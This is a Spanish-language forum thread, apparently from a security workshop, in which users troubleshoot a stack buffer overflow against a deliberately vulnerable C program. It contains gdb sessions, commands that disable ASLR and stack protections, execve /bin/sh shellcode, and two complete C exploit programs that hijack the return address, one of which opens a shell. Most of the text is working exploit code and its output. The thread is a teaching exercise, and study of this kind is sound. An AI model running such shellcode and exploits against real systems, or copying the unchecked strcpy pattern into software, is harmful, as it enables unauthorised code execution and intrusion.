(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
Starting program: /home/the-gazette/Desktop/ex/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
Breakpoint 1, vuln (
buff=0xbffff65e "\220\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀\f\364\377\277") at vuln.c:7
7 strcpy (buffer, buff);
(gdb) c
Continuing.
Program exited with code 0334.
aumente en 12 solo por la curiosidad de las 4 AAAA y use 10 pero tampoco y use 0xbffff682 y tampoco
para encontrar ret
(gdb) r AAAA
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141
salu2
Te compiclas la vida:
11 Nops + 25 Shellcode + 4 ret
Busca tu ret y lo pones...
no... mira, de forma sencilla
Citarroot@lainux:/home/the-gazette/Desktop/ex# echo 0 > /proc/sys/kernel/randomize_va_space
root@lainux:/home/the-gazette/Desktop/ex# cat /proc/sys/kernel/randomize_va_space
0
root@lainux:/home/the-gazette/Desktop/ex# exit
exit
the-gazette@lainux:~/Desktop/ex$ gcc -o vuln vuln.c --no-stack-protector -g -z execstack
the-gazette@lainux:~/Desktop/ex$ ./vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x0c\xf4\xff\xbf"')
the-gazette@lainux:~/Desktop/ex$
RET
Citar(gdb) r AAAA
Starting program: /home/the-gazette/Desktop/ex/vuln AAAA
Breakpoint 1, vuln (buff=0xbffff682 "AAAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x41414141
si pongo RET con 3 AAA
Citar(gdb) x/x buffer
0xbffff40c: 0xb7e9ba75
(gdb) x/x buff
0xbffff682: 0x00414141
(gdb)
Claro, es que no estoy poniendo tres ases más...
No sabes que al ejecutar el ret se saca de la pila la dirección que tienes que volver? Por eso al ejecutar el ret todo está cuatro bytes menos...
Te cito de mi blog:
---------------------------------------------------------------------------------------------------------
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería...
15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln (
buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb) ¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
Breakpoint 1, vuln (
buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char nops [11];
memset (nops, '\x90', 11);
char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [5] = "\x04\xf9\xff\xbf";
char command [47];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, shellcode);
strcat (command, ret);
system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$
¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!
PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas ;D
Un saludo! Os espero.
Sagrini
---------------------------------------------------------------------------------------------------------
Y primera parte
---------------------------------------------------------------------------------------------------------
Vale, esta entrega va a ir sobre cómo aprovechar un BoF para controlar un programa. Es bastante sencillo...
Primero escribimos un programa típicamente vulnerable.
#include <stdio.h>
#include <string.h>
int vuln (char *buff)
{
char buffer [36];
strcpy (buffer, buff);
}
int main (int argc, char *argv [])
{
vuln (argv [1]);
}
Compilamos y ejecutamos:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$
Como vemos no pasa nada... Si nos fijamos bien en "buffer" sólo caben 36 letras. ¿Y si le metemos más? Pues que el programa se sale...
juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "A"x50')
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "A"x50')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x50')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r $(perl -e 'print "A"x40 . "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Pues como vemos las As y las Bs "mueven" el flujo del programa. Entonces... ¿Podemos controlar un programa? Pues sí. Cambiemos el código:
#include <stdio.h>
#include <string.h>
int vuln (char *buff)
{
char buffer [36];
strcpy (buffer, buff);
}
int main (int argc, char *argv [])
{
vuln (argv [1]);
}
int feo ()
{
printf ("Eres feo!!!");
exit (0);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln AAA
juanra@Juanra:~/Escritorio/Shell$
Sigue sin pasar nada. Feo nunca se ejecuta :-o. Pero como somos malévolos...
(gdb) x/x feo
0x8048468 <feo>: 0x83e58955
(gdb) r $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
Breakpoint 1, 0x0804842a in vuln ()
(gdb) c
Continuing.
Eres feo!!!
Program exited normally.
(gdb)
El programa va hacia la función feo y se ejecuta...
Ahora, explicación...
Algunos programas no controlan que los datos que le introduces sean los adecuados. Esto supone que el programa pueda fallar. Si yo le meto 40 ases a un sitio donde caben 36, falla. Pero si le meto 4 más sobreescribo un registro del ordenador que controla la próxima instrucción a ejecutar. Esto hace que podamos controlar el programa.
En la prueba buscamos la dirección de la función "feo" que te dice "Eres feo!!!" y cierra el programa. Esto se consigue con un br (break) vuln, que para el programa en el punto "vuln" y nos dice la dirección del punto de parada. Sobreescribimos con Perl esta dirección... "Eres feo!!!"
Ahora escribamos un exploit...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char nops [40];
memset (nops, 'A', 40);
char ret [5] = "\x68\x84\x04\x08";
char command [51];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, ret);
system (command);
}
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Eres feo!!!juanra@Juanra:~/Escritorio/Shell$
Vale, ahora os explico: El programa lo único que hace es introducir 40 ases y la dirección de "feo" en una variable y ejecutar el programa. Con este sencillo método hemos aprendido a explotar una parte de los fallos más comunes...
Os espero en las entregas venideras...
Un saludo!
Sagrini
---------------------------------------------------------------------------------------------------------
Escríbeme por PM las dudas...
Suerte!
Hola!!
¿Puedes poner el disass de tu main? Además, para ver como se hace la copia de "buff" a la variable "buffer", pon un breakpoint dentro de la función "vuln" antes y después de la llamada a strcpy haciendo "x/100x $esp".
Saludos
Vale, creo que ya lo hemos solucionado. Verdad, Belial & Grimoire?
@M3st4ng, no sé de qué te sirve. Si sigues teniendo dudas, escríbeme. Si no, pásate por mi blog.
Ahora, cosa aparte, releo tu mensaje... No queremos ver cómo se copia. Sencillamente queremos hacer que funcione en su máquina :P
Para saber vuestra dirección de retorno...
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) q
The program is running. Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$
Para ejecutar el exploit desde la línea de comandos:
juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit exploit.c shell shell.s vuln vuln.c
$ whoami
juanra
$ exit
juanra@Juanra:~/Escritorio/Shell$
Exploit en C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char nops [11];
memset (nops, '\x90', 11);
char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [5] = "\x04\xf9\xff\xbf";
char command [47];
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, shellcode);
strcat (command, ret);
system (command);
}
Hola!!
Los datos que pedía era para ver cómo se estaba sobreescribiendo todos los valores hasta llegar a la dirección de RET en la pila. Lo mejor es poner un breakpoint justo despues de la la función strcpy y ver el estado de la pila, así podremos comprobar qué se ha sobreescrito y con qué valores.
Asi se queda mi pila una vez que se ejecuta strcpy.
0xbffff5d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff604: 0x90909090 0xeb909090 0x76895e1f 0x88c03108
0xbffff614: 0x46890746 0x890bb00c 0x084e8df3 0xcd0c568d
0xbffff624: 0x89db3180 0x80cd40d8 0xffffdce8 0x69622fff
0xbffff634: 0x68732f6e 0xbffff5e6 0xbffff5e6 0xbffff5e6
0xbffff644: 0xbffff5e6 0xbffff5e6 0xbffff5e6 0xbffff5e6
0xbffff654: 0xbffff5e6 0xbffff5e6 0xbffff5e6
En valor que esta en la dirección 0xbffff658 es el RET y contiene una direccion que apunta a los NOPS
Saludos
Wow, mucho mejor explicado que lo mio! El detalle habría sido continuar el programa ;)
Muchas gracias! Ahora mismo estoy escribiendo el punto 2 del taller (el uno va por parte de Iván xD) y voy a añadirlo para que se vea mejor...